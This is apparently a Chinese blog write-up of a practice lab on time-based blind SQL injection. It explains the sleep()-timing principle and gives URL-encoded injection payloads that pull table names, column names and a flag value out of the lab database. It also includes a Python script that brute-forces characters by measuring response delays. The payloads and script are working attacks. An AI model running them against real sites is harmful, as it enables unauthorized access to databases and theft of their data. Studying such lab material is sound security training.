延遲盲注
阿新 • • 發佈:2020-11-12
延遲盲注
你不知道你輸入的資料在sql被執行後是否是正確或錯誤的。你只知道有資料。
利用原理
藉助if語句,如果正確就sleep(5),延遲5秒返回資料。通過資料返回的時間大小判斷自己的語句是否正確執行。因為如果正確執行,會休眠5秒。錯誤執行,立馬返回!
靶場1
0x01 是布林盲注還是延遲盲注
payload
http://inject2.lab.aqlab.cn:81/Pass-13/index.php?id=1" and 1=2 -- qwe
這麼明顯錯誤的語句,沒有報錯。只知道是有資料的。那麼肯定不是布林盲注
0x02 判斷延遲盲注
payLoad:
id=1%22and%20if(length(database())%3E100,0,sleep(4))%20--+qwe
0x03 進一步注入查表
正確立馬返回,錯誤休眠5秒
payload:
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1,0,sleep(10)) --+
然後開始爆破。因為我的intruder測試模組看不了響應的時間,所有我寫了個python指令碼去跑。以下原始碼和結果:
原始碼:
# -*- coding: utf-8 -*- import requests import time def Timesql(proxies, user): for i in range(1,23): #資料長度 這裡我偷了下懶 沒有先獲取長度 for payload in range(35,130): #遍歷取出字元 startTime=time.time() url = 'http://inject2.lab.aqlab.cn:81/Pass-13/index.php?id=1"+and+if(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),' + str(i)+',1))%3d'+str(payload)+',sleep(6),0)--%20qwe' #url cookies = { } response=requests.get(url,proxies=proxies) #傳送請求 if time.time() - startTime > 5: #判斷是否延時了5秒 user+=chr(payload) print(chr(payload)) break if i != len(user): #無資料時候自動結束 break print ('\nThe result is: '+user) def main(): print ('begining \n') ip = '127.0.0.1:8080' proxies = { 'http': 'http://' + ip, 'https': 'https://' + ip } user = '' Timesql(proxies, user) if __name__ == '__main__': main()
結果:
爆破欄位
payload2
1%22+and+if(ascii(substr((select+column_name+from+information_schema.columns+where+table_schema%3ddatabas
e()+and+table_name%3d'loflag'+limit+0,1),3,1))%3d129,sleep(6),0)--%20qwe
圖片:
檢視欄位內容
payload:
1%22+and+if(ascii(substr((select+flaglo+from+loflag+limit+1,1),1,1))%3d88,sleep(6),0)--%20qwe
圖片:
靶場2
原理一樣,注意閉合括號就好了。
payload:
1')+and+if(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),3,1))%3d75,sleep(6),0)--%20qwe
圖片: